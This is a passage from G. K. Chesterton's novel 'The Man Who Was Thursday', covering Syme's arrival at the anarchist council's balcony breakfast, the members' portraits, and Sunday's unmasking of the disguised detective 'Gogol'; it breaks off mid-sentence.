enough," said the unknown. + +"Well, really," said Syme, "I don't know any profession of which +mere willingness is the final test." + +"I do," said the other--"martyrs. I am condemning you to death. +Good day." + +Thus it was that when Gabriel Syme came out again into the crimson +light of evening, in his shabby black hat and shabby, lawless +cloak, he came out a member of the New Detective Corps for the +frustration of the great conspiracy. Acting under the advice of his +friend the policeman (who was professionally inclined to neatness), +he trimmed his hair and beard, bought a good hat, clad himself in +an exquisite summer suit of light blue-grey, with a pale yellow +flower in the button-hole, and, in short, became that elegant and +rather insupportable person whom Gregory had first encountered in +the little garden of Saffron Park. Before he finally left the +police premises his friend provided him with a small blue card, +on which was written, "The Last Crusade," and a number, the sign +of his official authority. He put this carefully in his upper +waistcoat pocket, lit a cigarette, and went forth to track and +fight the enemy in all the drawing-rooms of London. Where his +adventure ultimately led him we have already seen. At about +half-past one on a February night he found himself steaming in a +small tug up the silent Thames, armed with swordstick and revolver, +the duly elected Thursday of the Central Council of Anarchists. + +When Syme stepped out on to the steam-tug he had a singular +sensation of stepping out into something entirely new; not merely +into the landscape of a new land, but even into the landscape of a +new planet. This was mainly due to the insane yet solid decision of +that evening, though partly also to an entire change in the weather +and the sky since he entered the little tavern some two hours +before. Every trace of the passionate plumage of the cloudy sunset +had been swept away, and a naked moon stood in a naked sky. The +moon was so strong and full that (by a paradox often to be noticed) +it seemed like a weaker sun. It gave, not the sense of bright +moonshine, but rather of a dead daylight. + +Over the whole landscape lay a luminous and unnatural +discoloration, as of that disastrous twilight which Milton spoke +of as shed by the sun in eclipse; so that Syme fell easily into +his first thought, that he was actually on some other and emptier +planet, which circled round some sadder star. But the more he felt +this glittering desolation in the moonlit land, the more his own +chivalric folly glowed in the night like a great fire. Even the +common things he carried with him--the food and the brandy and the +loaded pistol--took on exactly that concrete and material poetry +which a child feels when he takes a gun upon a journey or a bun +with him to bed. The sword-stick and the brandy-flask, though in +themselves only the tools of morbid conspirators, became the +expressions of his own more healthy romance. The sword-stick +became almost the sword of chivalry, and the brandy the wine of +the stirrup-cup. For even the most dehumanised modern fantasies +depend on some older and simpler figure; the adventures may be +mad, but the adventurer must be sane. The dragon without St. +George would not even be grotesque. So this inhuman landscape was +only imaginative by the presence of a man really human. To Syme's +exaggerative mind the bright, bleak houses and terraces by the +Thames looked as empty as the mountains of the moon. But even the +moon is only poetical because there is a man in the moon. + +The tug was worked by two men, and with much toil went +comparatively slowly. The clear moon that had lit up Chiswick had +gone down by the time that they passed Battersea, and when they +came under the enormous bulk of Westminster day had already begun +to break. It broke like the splitting of great bars of lead, +showing bars of silver; and these had brightened like white fire +when the tug, changing its onward course, turned inward to a large +landing stage rather beyond Charing Cross. + +The great stones of the Embankment seemed equally dark and gigantic +as Syme looked up at them. They were big and black against the huge +white dawn. They made him feel that he was landing on the colossal +steps of some Egyptian palace; and, indeed, the thing suited his +mood, for he was, in his own mind, mounting to attack the solid +thrones of horrible and heathen kings. He leapt out of the boat on +to one slimy step, and stood, a dark and slender figure, amid the +enormous masonry. The two men in the tug put her off again and +turned up stream. They had never spoken a word. + + + +CHAPTER V + +THE FEAST OF FEAR + +AT first the large stone stair seemed to Syme as deserted as a +pyramid; but before he reached the top he had realised that there +was a man leaning over the parapet of the Embankment and looking +out across the river. As a figure he was quite conventional, clad +in a silk hat and frock-coat of the more formal type of fashion; +he had a red flower in his buttonhole. As Syme drew nearer to him +step by step, he did not even move a hair; and Syme could come +close enough to notice even in the dim, pale morning light that +his face was long, pale and intellectual, and ended in a small +triangular tuft of dark beard at the very point of the chin, all +else being clean-shaven. This scrap of hair almost seemed a mere +oversight; the rest of the face was of the type that is best +shaven--clear-cut, ascetic, and in its way noble. Syme drew closer +and closer, noting all this, and still the figure did not stir. + +At first an instinct had told Syme that this was the man whom he +was meant to meet. Then, seeing that the man made no sign, he had +concluded that he was not. And now again he had come back to a +certainty that the man had something to do with his mad adventure. +For the man remained more still than would have been natural if a +stranger had come so close. He was as motionless as a wax-work, +and got on the nerves somewhat in the same way. Syme looked again +and again at the pale, dignified and delicate face, and the face +still looked blankly across the river. Then he took out of his +pocket the note from Buttons proving his election, and put it +before that sad and beautiful face. Then the man smiled, and his +smile was a shock, for it was all on one side, going up in the +right cheek and down in the left. + +There was nothing, rationally speaking, to scare anyone about +this. Many people have this nervous trick of a crooked smile, and +in many it is even attractive. But in all Syme's circumstances, +with the dark dawn and the deadly errand and the loneliness on the +great dripping stones, there was something unnerving in it. + +There was the silent river and the silent man, a man of even +classic face. And there was the last nightmare touch that his +smile suddenly went wrong. + +The spasm of smile was instantaneous, and the man's face dropped +at once into its harmonious melancholy. He spoke without further +explanation or inquiry, like a man speaking to an old colleague. + +"If we walk up towards Leicester Square," he said, "we shall just +be in time for breakfast. Sunday always insists on an early +breakfast. Have you had any sleep?" + +"No," said Syme. + +"Nor have I," answered the man in an ordinary tone. "I shall try to +get to bed after breakfast." + +He spoke with casual civility, but in an utterly dead voice that +contradicted the fanaticism of his face. It seemed almost as if all +friendly words were to him lifeless conveniences, and that his only +life was hate. After a pause the man spoke again. + +"Of course, the Secretary of the branch told you everything that +can be told. But the one thing that can never be told is the last +notion of the President, for his notions grow like a tropical +forest. So in case you don't know, I'd better tell you that he is +carrying out his notion of concealing ourselves by not concealing +ourselves to the most extraordinary lengths just now. Originally, +of course, we met in a cell underground, just as your branch does. +Then Sunday made us take a private room at an ordinary restaurant. +He said that if you didn't seem to be hiding nobody hunted you out. +Well, he is the only man on earth, I know; but sometimes I really +think that his huge brain is going a little mad in its old age. For +now we flaunt ourselves before the public. We have our breakfast on +a balcony--on a balcony, if you please--overlooking Leicester +Square." + +"And what do the people say?" asked Syme. + +"It's quite simple what they say," answered his guide. + +"They say we are a lot of jolly gentlemen who pretend they are +anarchists." + +"It seems to me a very clever idea," said Syme. + +"Clever! God blast your impudence! Clever!" cried out the other in +a sudden, shrill voice which was as startling and discordant as his +crooked smile. "When you've seen Sunday for a split second you'll +leave off calling him clever." + +With this they emerged out of a narrow street, and saw the early +sunlight filling Leicester Square. It will never be known, I +suppose, why this square itself should look so alien and in some +ways so continental. It will never be known whether it was the +foreign look that attracted the foreigners or the foreigners who +gave it the foreign look. But on this particular morning the effect +seemed singularly bright and clear. Between the open square and the +sunlit leaves and the statue and the Saracenic outlines of the +Alhambra, it looked the replica of some French or even Spanish +public place. And this effect increased in Syme the sensation, +which in many shapes he had had through the whole adventure, the +eerie sensation of having strayed into a new world. As a fact, he +had bought bad cigars round Leicester Square ever since he was a +boy. But as he turned that corner, and saw the trees and the +Moorish cupolas, he could have sworn that he was turning into an +unknown Place de something or other in some foreign town. + +At one corner of the square there projected a kind of angle of a +prosperous but quiet hotel, the bulk of which belonged to a street +behind. In the wall there was one large French window, probably +the window of a large coffee-room; and outside this window, almost +literally overhanging the square, was a formidably buttressed +balcony, big enough to contain a dining-table. In fact, it did +contain a dining-table, or more strictly a breakfast-table; and +round the breakfast-table, glowing in the sunlight and evident to +the street, were a group of noisy and talkative men, all dressed +in the insolence of fashion, with white waistcoats and expensive +button-holes. Some of their jokes could almost be heard across the +square. Then the grave Secretary gave his unnatural smile, and Syme +knew that this boisterous breakfast party was the secret conclave +of the European Dynamiters. + +Then, as Syme continued to stare at them, he saw something that he +had not seen before. He had not seen it literally because it was +too large to see. At the nearest end of the balcony, blocking up a +great part of the perspective, was the back of a great mountain of +a man. When Syme had seen him, his first thought was that the +weight of him must break down the balcony of stone. His vastness +did not lie only in the fact that he was abnormally tall and quite +incredibly fat. This man was planned enormously in his original +proportions, like a statue carved deliberately as colossal. His +head, crowned with white hair, as seen from behind looked bigger +than a head ought to be. The ears that stood out from it looked +larger than human ears. He was enlarged terribly to scale; and this +sense of size was so staggering, that when Syme saw him all the +other figures seemed quite suddenly to dwindle and become dwarfish. +They were still sitting there as before with their flowers and +frock-coats, but now it looked as if the big man was entertaining +five children to tea. + +As Syme and the guide approached the side door of the hotel, a +waiter came out smiling with every tooth in his head. + +"The gentlemen are up there, sare," he said. "They do talk and they +do laugh at what they talk. They do say they will throw bombs at ze +king." + +And the waiter hurried away with a napkin over his arm, much +pleased with the singular frivolity of the gentlemen upstairs. + +The two men mounted the stairs in silence. + +Syme had never thought of asking whether the monstrous man who +almost filled and broke the balcony was the great President of whom +the others stood in awe. He knew it was so, with an unaccountable +but instantaneous certainty. Syme, indeed, was one of those men who +are open to all the more nameless psychological influences in a +degree a little dangerous to mental health. Utterly devoid of fear +in physical dangers, he was a great deal too sensitive to the smell +of spiritual evil. Twice already that night little unmeaning things +had peeped out at him almost pruriently, and given him a sense of +drawing nearer and nearer to the head-quarters of hell. And this +sense became overpowering as he drew nearer to the great President. + +The form it took was a childish and yet hateful fancy. As he walked +across the inner room towards the balcony, the large face of Sunday +grew larger and larger; and Syme was gripped with a fear that when +he was quite close the face would be too big to be possible, and +that he would scream aloud. He remembered that as a child he would +not look at the mask of Memnon in the British Museum, because it +was a face, and so large. + +By an effort, braver than that of leaping over a cliff, he went to +an empty seat at the breakfast-table and sat down. The men greeted +him with good-humoured raillery as if they had always known him. He +sobered himself a little by looking at their conventional coats and +solid, shining coffee-pot; then he looked again at Sunday. His face +was very large, but it was still possible to humanity. + +In the presence of the President the whole company looked +sufficiently commonplace; nothing about them caught the eye at +first, except that by the President's caprice they had been dressed +up with a festive respectability, which gave the meal the look of a +wedding breakfast. One man indeed stood out at even a superficial +glance. He at least was the common or garden Dynamiter. He wore, +indeed, the high white collar and satin tie that were the uniform +of the occasion; but out of this collar there sprang a head quite +unmanageable and quite unmistakable, a bewildering bush of brown +hair and beard that almost obscured the eyes like those of a Skye +terrier. But the eyes did look out of the tangle, and they were the +sad eyes of some Russian serf. The effect of this figure was not +terrible like that of the President, but it had every diablerie +that can come from the utterly grotesque. If out of that stiff tie +and collar there had come abruptly the head of a cat or a dog, it +could not have been a more idiotic contrast. + +The man's name, it seemed, was Gogol; he was a Pole, and in this +circle of days he was called Tuesday. His soul and speech were +incurably tragic; he could not force himself to play the +prosperous and frivolous part demanded of him by President Sunday. +And, indeed, when Syme came in the President, with that daring +disregard of public suspicion which was his policy, was actually +chaffing Gogol upon his inability to assume conventional graces. + +"Our friend Tuesday," said the President in a deep voice at once +of quietude and volume, "our friend Tuesday doesn't seem to grasp +the idea. He dresses up like a gentleman, but he seems to be too +great a soul to behave like one. He insists on the ways of the +stage conspirator. Now if a gentleman goes about London in a top +hat and a frock-coat, no one need know that he is an anarchist. +But if a gentleman puts on a top hat and a frock-coat, and then +goes about on his hands and knees--well, he may attract attention. +That's what Brother Gogol does. He goes about on his hands and +knees with such inexhaustible diplomacy, that by this time he +finds it quite difficult to walk upright." + +"I am not good at goncealment," said Gogol sulkily, with a thick +foreign accent; "I am not ashamed of the cause." + +"Yes you are, my boy, and so is the cause of you," said the +President good-naturedly. "You hide as much as anybody; but you +can't do it, you see, you're such an ass! You try to combine two +inconsistent methods. When a householder finds a man under his +bed, he will probably pause to note the circumstance. But if he +finds a man under his bed in a top hat, you will agree with me, +my dear Tuesday, that he is not likely even to forget it. Now +when you were found under Admiral Biffin's bed--" + +"I am not good at deception," said Tuesday gloomily, flushing. + +"Right, my boy, right," said the President with a ponderous +heartiness, "you aren't good at anything." + +While this stream of conversation continued, Syme was looking +more steadily at the men around him. As he did so, he gradually +felt all his sense of something spiritually queer return. + +He had thought at first that they were all of common stature and +costume, with the evident exception of the hairy Gogol. But as he +looked at the others, he began to see in each of them exactly what +he had seen in the man by the river, a demoniac detail somewhere. +That lop-sided laugh, which would suddenly disfigure the fine +face of his original guide, was typical of all these types. Each +man had something about him, perceived perhaps at the tenth or +twentieth glance, which was not normal, and which seemed hardly +human. The only metaphor he could think of was this, that they +all looked as men of fashion and presence would look, with the +additional twist given in a false and curved mirror. + +Only the individual examples will express this half-concealed +eccentricity. Syme's original cicerone bore the title of Monday; +he was the Secretary of the Council, and his twisted smile was +regarded with more terror than anything, except the President's +horrible, happy laughter. But now that Syme had more space and +light to observe him, there were other touches. His fine face +was so emaciated, that Syme thought it must be wasted with some +disease; yet somehow the very distress of his dark eyes denied +this. It was no physical ill that troubled him. His eyes were +alive with intellectual torture, as if pure thought was pain. + +He was typical of each of the tribe; each man was subtly and +differently wrong. Next to him sat Tuesday, the tousle-headed +Gogol, a man more obviously mad. Next was Wednesday, a certain +Marquis de St. Eustache, a sufficiently characteristic figure. The +first few glances found nothing unusual about him, except that he +was the only man at table who wore the fashionable clothes as if +they were really his own. He had a black French beard cut square +and a black English frock-coat cut even squarer. But Syme, +sensitive to such things, felt somehow that the man carried a rich +atmosphere with him, a rich atmosphere that suffocated. It +reminded one irrationally of drowsy odours and of dying lamps in +the darker poems of Byron and Poe. With this went a sense of his +being clad, not in lighter colours, but in softer materials; his +black seemed richer and warmer than the black shades about him, as +if it were compounded of profound colour. His black coat looked as +if it were only black by being too dense a purple. His black beard +looked as if it were only black by being too deep a blue. And in +the gloom and thickness of the beard his dark red mouth showed +sensual and scornful. Whatever he was he was not a Frenchman; he +might be a Jew; he might be something deeper yet in the dark heart +of the East. In the bright coloured Persian tiles and pictures +showing tyrants hunting, you may see just those almond eyes, those +blue-black beards, those cruel, crimson lips. + +Then came Syme, and next a very old man, Professor de Worms, who +still kept the chair of Friday, though every day it was expected +that his death would leave it empty. Save for his intellect, he was +in the last dissolution of senile decay. His face was as grey as +his long grey beard, his forehead was lifted and fixed finally in a +furrow of mild despair. In no other case, not even that of Gogol, +did the bridegroom brilliancy of the morning dress express a more +painful contrast. For the red flower in his button-hole showed up +against a face that was literally discoloured like lead; the whole +hideous effect was as if some drunken dandies had put their clothes +upon a corpse. When he rose or sat down, which was with long labour +and peril, something worse was expressed than mere weakness, +something indefinably connected with the horror of the whole scene. +It did not express decrepitude merely, but corruption. Another +hateful fancy crossed Syme's quivering mind. He could not help +thinking that whenever the man moved a leg or arm might fall off. + +Right at the end sat the man called Saturday, the simplest and the +most baffling of all. He was a short, square man with a dark, +square face clean-shaven, a medical practitioner going by the name +of Bull. He had that combination of savoir-faire with a sort of +well-groomed coarseness which is not uncommon in young doctors. He +carried his fine clothes with confidence rather than ease, and he +mostly wore a set smile. There was nothing whatever odd about him, +except that he wore a pair of dark, almost opaque spectacles. It +may have been merely a crescendo of nervous fancy that had gone +before, but those black discs were dreadful to Syme; they reminded +him of half-remembered ugly tales, of some story about pennies +being put on the eyes of the dead. Syme's eye always caught the +black glasses and the blind grin. Had the dying Professor worn +them, or even the pale Secretary, they would have been appropriate. +But on the younger and grosser man they seemed only an enigma. They +took away the key of the face. You could not tell what his smile or +his gravity meant. Partly from this, and partly because he had a +vulgar virility wanting in most of the others it seemed to Syme +that he might be the wickedest of all those wicked men. Syme even +had the thought that his eyes might be covered up because they were +too frightful to see. + + + +CHAPTER VI + +THE EXPOSURE + +SUCH were the six men who had sworn to destroy the world. Again +and again Syme strove to pull together his common sense in their +presence. Sometimes he saw for an instant that these notions were +subjective, that he was only looking at ordinary men, one of whom +was old, another nervous, another short-sighted. The sense of an +unnatural symbolism always settled back on him again. Each figure +seemed to be, somehow, on the borderland of things, just as their +theory was on the borderland of thought. He knew that each one of +these men stood at the extreme end, so to speak, of some wild road +of reasoning. He could only fancy, as in some old-world fable, +that if a man went westward to the end of the world he would find +something--say a tree--that was more or less than a tree, a tree +possessed by a spirit; and that if he went east to the end of the +world he would find something else that was not wholly itself--a +tower, perhaps, of which the very shape was wicked. So these +figures seemed to stand up, violent and unaccountable, against an +ultimate horizon, visions from the verge. The ends of the earth +were closing in. + +Talk had been going on steadily as he took in the scene; and not +the least of the contrasts of that bewildering breakfast-table was +the contrast between the easy and unobtrusive tone of talk and its +terrible purport. They were deep in the discussion of an actual and +immediate plot. The waiter downstairs had spoken quite correctly +when he said that they were talking about bombs and kings. Only +three days afterwards the Czar was to meet the President of the +French Republic in Paris, and over their bacon and eggs upon their +sunny balcony these beaming gentlemen had decided how both should +die. Even the instrument was chosen; the black-bearded Marquis, it +appeared, was to carry the bomb. + +Ordinarily speaking, the proximity of this positive and objective +crime would have sobered Syme, and cured him of all his merely +mystical tremors. He would have thought of nothing but the need of +saving at least two human bodies from being ripped in pieces with +iron and roaring gas. But the truth was that by this time he had +begun to feel a third kind of fear, more piercing and practical +than either his moral revulsion or his social responsibility. Very +simply, he had no fear to spare for the French President or the +Czar; he had begun to fear for himself. Most of the talkers took +little heed of him, debating now with their faces closer together, +and almost uniformly grave, save when for an instant the smile of +the Secretary ran aslant across his face as the jagged lightning +runs aslant across the sky. But there was one persistent thing +which first troubled Syme and at last terrified him. The President +was always looking at him, steadily, and with a great and baffling +interest. The enormous man was quite quiet, but his blue eyes +stood out of his head. And they were always fixed on Syme. + +Syme felt moved to spring up and leap over the balcony. When the +President's eyes were on him he felt as if he were made of glass. +He had hardly the shred of a doubt that in some silent and +extraordinary way Sunday had found out that he was a spy. He +looked over the edge of the balcony, and saw a policeman, standing +abstractedly just beneath, staring at the bright railings and the +sunlit trees. + +Then there fell upon him the great temptation that was to torment +him for many days. In the presence of these powerful and repulsive +men, who were the princes of anarchy, he had almost forgotten the +frail and fanciful figure of the poet Gregory, the mere aesthete of +anarchism. He even thought of him now with an old kindness, as if +they had played together when children. But he remembered that he +was still tied to Gregory by a great promise. He had promised never +to do the very thing that he now felt himself almost in the act of +doing. He had promised not to jump over that balcony and speak to +that policeman. He took his cold hand off the cold stone +balustrade. His soul swayed in a vertigo of moral indecision. He +had only to snap the thread of a rash vow made to a villainous +society, and all his life could be as open and sunny as the square +beneath him. He had, on the other hand, only to keep his antiquated +honour, and be delivered inch by inch into the power of this great +enemy of mankind, whose very intellect was a torture-chamber. +Whenever he looked down into the square he saw the comfortable +policeman, a pillar of common sense and common order. Whenever he +looked back at the breakfast-table he saw the President still +quietly studying him with big, unbearable eyes. + +In all the torrent of his thought there were two thoughts that +never crossed his mind. First, it never occurred to him to doubt +that the President and his Council could crush him if he continued +to stand alone. The place might be public, the project might seem +impossible. But Sunday was not the man who would carry himself +thus easily without having, somehow or somewhere, set open his +iron trap. Either by anonymous poison or sudden street accident, +by hypnotism or by fire from hell, Sunday could certainly strike +him. If he defied the man he was probably dead, either struck +stiff there in his chair or long afterwards as by an innocent +ailment. If he called in the police promptly, arrested everyone, +told all, and set against them the whole energy of England, he +would probably escape; certainly not otherwise. They were a +balconyful of gentlemen overlooking a bright and busy square; but +he felt no more safe with them than if they had been a boatful of +armed pirates overlooking an empty sea. + +There was a second thought that never came to him. It never +occurred to him to be spiritually won over to the enemy. Many +moderns, inured to a weak worship of intellect and force, might +have wavered in their allegiance under this oppression of a great +personality. They might have called Sunday the super-man. If any +such creature be conceivable, he looked, indeed, somewhat like it, +with his earth-shaking abstraction, as of a stone statue walking. +He might have been called something above man, with his large +plans, which were too obvious to be detected, with his large face, +which was too frank to be understood. But this was a kind of +modern meanness to which Syme could not sink even in his extreme +morbidity. Like any man, he was coward enough to fear great force; +but he was not quite coward enough to admire it. + +The men were eating as they talked, and even in this they were +typical. Dr. Bull and the Marquis ate casually and conventionally +of the best things on the table--cold pheasant or Strasbourg pie. +But the Secretary was a vegetarian, and he spoke earnestly of the +projected murder over half a raw tomato and three quarters of a +glass of tepid water. The old Professor had such slops as suggested +a sickening second childhood. And even in this President Sunday +preserved his curious predominance of mere mass. For he ate like +twenty men; he ate incredibly, with a frightful freshness of +appetite, so that it was like watching a sausage factory. Yet +continually, when he had swallowed a dozen crumpets or drunk a +quart of coffee, he would be found with his great head on one side +staring at Syme. + +"I have often wondered," said the Marquis, taking a great bite out +of a slice of bread and jam, "whether it wouldn't be better for me +to do it with a knife. Most of the best things have been brought +off with a knife. And it would be a new emotion to get a knife into +a French President and wriggle it round." + +"You are wrong," said the Secretary, drawing his black brows +together. "The knife was merely the expression of the old personal +quarrel with a personal tyrant. Dynamite is not only our best tool, +but our best symbol. It is as perfect a symbol of us as is incense +of the prayers of the Christians. It expands; it only destroys +because it broadens; even so, thought only destroys because it +broadens. A man's brain is a bomb," he cried out, loosening +suddenly his strange passion and striking his own skull with +violence. "My brain feels like a bomb, night and day. It must +expand! It must expand! A man's brain must expand, if it breaks up +the universe." + +"I don't want the universe broken up just yet," drawled the +Marquis. "I want to do a lot of beastly things before I die. +I thought of one yesterday in bed." + +"No, if the only end of the thing is nothing," said Dr. Bull with +his sphinx-like smile, "it hardly seems worth doing." + +The old Professor was staring at the ceiling with dull eyes. + +"Every man knows in his heart," he said, "that nothing is worth +doing." + +There was a singular silence, and then the Secretary said-- + +"We are wandering, however, from the point. The only question is +how Wednesday is to strike the blow. I take it we should all agree +with the original notion of a bomb. As to the actual arrangements, +I should suggest that tomorrow morning he should go first of all +to--" + +The speech was broken off short under a vast shadow. President +Sunday had risen to his feet, seeming to fill the sky above them. + +"Before we discuss that," he said in a small, quiet voice, "let us +go into a private room. I have something vent particular to say." + +Syme stood up before any of the others. The instant of choice had +come at last, the pistol was at his head. On the pavement before +he could hear the policeman idly stir and stamp, for the morning, +though bright, was cold. + +A barrel-organ in the street suddenly sprang with a jerk into a +jovial tune. Syme stood up taut, as if it had been a bugle before +the battle. He found himself filled with a supernatural courage +that came from nowhere. That jingling music seemed full of the +vivacity, the vulgarity, and the irrational valour of the poor, who +in all those unclean streets were all clinging to the decencies and +the charities of Christendom. His youthful prank of being a +policeman had faded from his mind; he did not think of himself as +the representative of the corps of gentlemen turned into fancy +constables, or of the old eccentric who lived in the dark room. +But he did feel himself as the ambassador of all these common and +kindly people in the street, who every day marched into battle to +the music of the barrel-organ. And this high pride in being human +had lifted him unaccountably to an infinite height above the +monstrous men around him. For an instant, at least, he looked down +upon all their sprawling eccentricities from the starry pinnacle +of the commonplace. He felt towards them all that unconscious and +elementary superiority that a brave man feels over powerful beasts +or a wise man over powerful errors. He knew that he had neither the +intellectual nor the physical strength of President Sunday; but in +that moment he minded it no more than the fact that he had not the +muscles of a tiger or a horn on his nose like a rhinoceros. All was +swallowed up in an ultimate certainty that the President was wrong +and that the barrel-organ was right. There clanged in his mind that +unanswerable and terrible truism in the song of Roland-- + +"Pagens ont tort et Chretiens ont droit." + +which in the old nasal French has the clang and groan of great +iron. This liberation of his spirit from the load of his weakness +went with a quite clear decision to embrace death. If the people of +the barrel-organ could keep their old-world obligations, so could +he. This very pride in keeping his word was that he was keeping it +to miscreants. It was his last triumph over these lunatics to go +down into their dark room and die for something that they could not +even understand. The barrel-organ seemed to give the marching tune +with the energy and the mingled noises of a whole orchestra; and he +could hear deep and rolling, under all the trumpets of the pride of +life, the drums of the pride of death. + +The conspirators were already filing through the open window and +into the rooms behind. Syme went last, outwardly calm, but with all +his brain and body throbbing with romantic rhythm. The President +led them down an irregular side stair, such as might be used by +servants, and into a dim, cold, empty room, with a table and +benches, like an abandoned boardroom. When they were all in, he +closed and locked the door. + +The first to speak was Gogol, the irreconcilable, who seemed +bursting with inarticulate grievance. + +"Zso! Zso!" he cried, with an obscure excitement, his heavy Polish +accent becoming almost impenetrable. "You zay you nod 'ide. You zay +you show himselves. It is all nuzzinks. Ven you vant talk +importance you run yourselves in a dark box!" + +The President seemed to take the foreigner's incoherent satire with +entire good humour. + +"You can't get hold of it yet, Gogol," he said in a fatherly way. +"When once they have heard us talking nonsense on that balcony they +will not care where we go afterwards. If we had come here first, we +should have had the whole staff at the keyhole. You don't seem to +know anything about mankind." + +"I die for zem," cried the Pole in thick excitement, "and I slay +zare oppressors. I care not for these games of gonzealment. I would +zmite ze tyrant in ze open square." + +"I see, I see," said the President, nodding kindly as he seated +himself at the top of a long table. "You die for mankind first, and +then you get up and smite their oppressors. So that's all right. +And now may I ask you to control your beautiful sentiments, and sit +down with the other gentlemen at this table. For the first time +this morning something intelligent is going to be said." + +Syme, with the perturbed promptitude he had shown since the +original summons, sat down first. Gogol sat down last, grumbling +in his brown beard about gombromise. No one except Syme seemed to +have any notion of the blow that was about to fall. As for him, +he had merely the feeling of a man mounting the scaffold with the +intention, at any rate, of making a good speech. + +"Comrades," said the President, suddenly rising, "we have spun out +this farce long enough. I have called you down here to tell you +something so simple and shocking that even the waiters upstairs +(long inured to our levities) might hear some new seriousness in +my voice. Comrades, we were discussing plans and naming places. I +propose, before saying anything else, that those plans and places +should not be voted by this meeting, but should be left wholly in +the control of some one reliable member. I suggest Comrade +Saturday, Dr. Bull." + +They all stared at him; then they all started in their seats, for +the next words, though not loud, had a living and sensational +emphasis. Sunday struck the table. + +"Not one word more about the plans and places must be said at this +meeting. Not one tiny detail more about what we mean to do must be +mentioned in this company." + +Sunday had spent his life in astonishing his followers; but it +seemed as if he had never really astonished them until now. They +all moved feverishly in their seats, except Syme. He sat stiff in +his, with his hand in his pocket, and on the handle of his loaded +revolver. When the attack on him came he would sell his life dear. +He would find out at least if the President was mortal. + +Sunday went on smoothly-- + +"You will probably understand that there is only one possible +motive for forbidding free speech at this festival of freedom. +Strangers overhearing us matters nothing. They assume that we +are joking. But what would matter, even unto death, is this, +that there should be one actually among us who is not of us, +who knows our grave purpose, but does not share it, who--" + +The Secretary screamed out suddenly like a woman. + +"It can't be!" he cried, leaping. "There can't--" + +The President flapped his large flat hand on the table like the +fin of some huge fish. + +"Yes," he said slowly, "there is a spy in this room. There is a +traitor at this table. I will waste no more words. His name--" + +Syme half rose from his seat, his finger firm on the trigger. + +"His name is Gogol," said the President. "He is that hairy humbug +over there who pretends to be a Pole." + +Gogol sprang to his feet, a pistol in each hand. With the same +flash three men sprang at his throat. Even the Professor made +an effort to rise. But Syme saw little of the scene, for he was +blinded with a beneficent darkness; he had sunk down into his +seat shuddering, in a palsy of passionate relief. + + + +CHAPTER VII + +THE UNACCOUNTABLE CONDUCT OF PROFESSOR DE WORMS + +"SIT down!" said Sunday in a voice that he used once or twice in +his life, a voice that made men drop drawn swords. + +The three who had risen fell away from Gogol, and that equivocal +person himself resumed his seat. + +"Well, my man," said the President briskly, addressing him as one +addresses a total stranger, "will you oblige me by putting your +hand in your upper waistcoat pocket and showing me what you have +there?" + +The alleged Pole was a little pale under his tangle of dark hair, +but he put two fingers into the pocket with apparent coolness and +pulled out a blue strip of card. When Syme saw it lying on the +table, he woke up again to the world outside him. For although +the card lay at the other extreme of the table, and he could read +nothing of the inscription on it, it bore a startling resemblance +to the blue card in his own pocket, the card which had been given +to him when he joined the anti-anarchist constabulary. + +"Pathetic Slav," said the President, "tragic child of Poland, are +you prepared in the presence of that card to deny that you are in +this company--shall we say de trop?" + +"Right oh!" said the late Gogol. It made everyone jump to hear a +clear, commercial and somewhat cockney voice coming out of that +forest of foreign hair. It was irrational, as if a Chinaman had +suddenly spoken with a Scotch accent. + +"I gather that you fully understand your position," said Sunday. + +"You bet," answered the Pole. "I see it's a fair cop. All I say is, +I don't believe any Pole could have imitated my accent like I did +his." + +"I concede the point," said Sunday. "I believe your own accent to +be inimitable, though I shall practise it in my bath. Do you mind +leaving your beard with your card?" + +"Not a bit," answered Gogol; and with one finger he ripped off the +whole of his shaggy head-covering, emerging with thin red hair and +a pale, pert face. "It was hot," he added. + +"I will do you the justice to say," said Sunday, not without a sort +of brutal admiration, "that you seem to have kept pretty cool under +it. Now listen to me. I like you. The consequence is that it would +annoy me for just about two and a half minutes if I heard that you +had died in torments. Well, if you ever tell the police or any +human soul about us, I shall have that two and a half minutes of +discomfort. On your discomfort I will not dwell. Good day. Mind the +step." + +The red-haired detective who had masqueraded as Gogol rose to his +feet without a word, and walked out of the room with an air of +perfect nonchalance. Yet the astonished Syme was able to realise +that this ease was suddenly assumed; for there was a slight stumble +outside the door, which showed that the departing detective had not +minded the step. + +"Time is flying," said the President in his gayest manner, after +glancing at his watch, which like everything about him seemed +bigger than it ought to be. "I must go off at once; I have to +take the chair at a Humanitarian meeting." + +The Secretary turned to him with working eyebrows. + +"Would it not be better," he said a little sharply, "to discuss +further the details of our project, now that the spy has left us?" + +"No, I think not," said the President with a yawn like an +unobtrusive earthquake. "Leave it as it is. Let Saturday settle +it. I must be off. Breakfast here next Sunday." + +But the late loud scenes had whipped up the almost naked nerves +of the Secretary. He was one of those men who are conscientious +even in crime. + +"I must protest, President, that the thing is irregular," he said. +"It is a fundamental rule of our society that all plans shall be +debated in full council. Of course, I fully appreciate your +forethought when in the actual presence of a traitor--" + +"Secretary," said the President seriously, "if you'd take your head +home and boil it for a turnip it might be useful. I can't say. But +it might. + +The Secretary reared back in a kind of equine anger. + +"I really fail to understand--" he began in high offense. + +"That's it, that's it," said the President, nodding a great many +times. "That's where you fail right enough. You fail to understand. +Why, you dancing donkey," he roared, rising, "you didn't want to be +overheard by a spy, didn't you? How do you know you aren't +overheard now?" + +And with these words he shouldered his way out of the room, shaking +with incomprehensible scorn. + +Four of the men left behind gaped after him without any apparent +glimmering of his meaning. Syme alone had even a glimmering, and +such as it was it froze him to the bone. If the last words of the +President meant anything, they meant that he had not after all +passed unsuspected. They meant that while Sunday could not denounce +him like Gogol, he still could not trust him like the others. + +The other four got to their feet grumbling more or less, and betook +themselves elsewhere to find lunch, for it was already well past +midday. The Professor went last, very slowly and painfully. Syme +sat long after the rest had gone, revolving his strange position. +He had escaped a thunderbolt, but he was still under a cloud. At +last he rose and made his way out of the hotel into Leicester +Square. The bright, cold day had grown increasingly colder, and +when he came out into the street he was surprised by a few flakes +of snow. While he still carried the sword-stick and the rest of +Gregory's portable luggage, he had thrown the cloak down and left +it somewhere, perhaps on the steam-tug, perhaps on the balcony. +Hoping, therefore, that the snow-shower might be slight, he stepped +back out of the street for a moment and stood up under the doorway +of a small and greasy hair-dresser's shop, the front window of +which was empty, except for a sickly wax lady in evening dress. + +Snow, however, began to thicken and fall fast; and Syme, having +found one glance at the wax lady quite sufficient to depress his +spirits, stared out instead into the white and empty street. He was +considerably astonished to see, standing quite still outside the +shop and staring into the window, a man. His top hat was loaded +with snow like the hat of Father Christmas, the white drift was +rising round his boots and ankles; but it 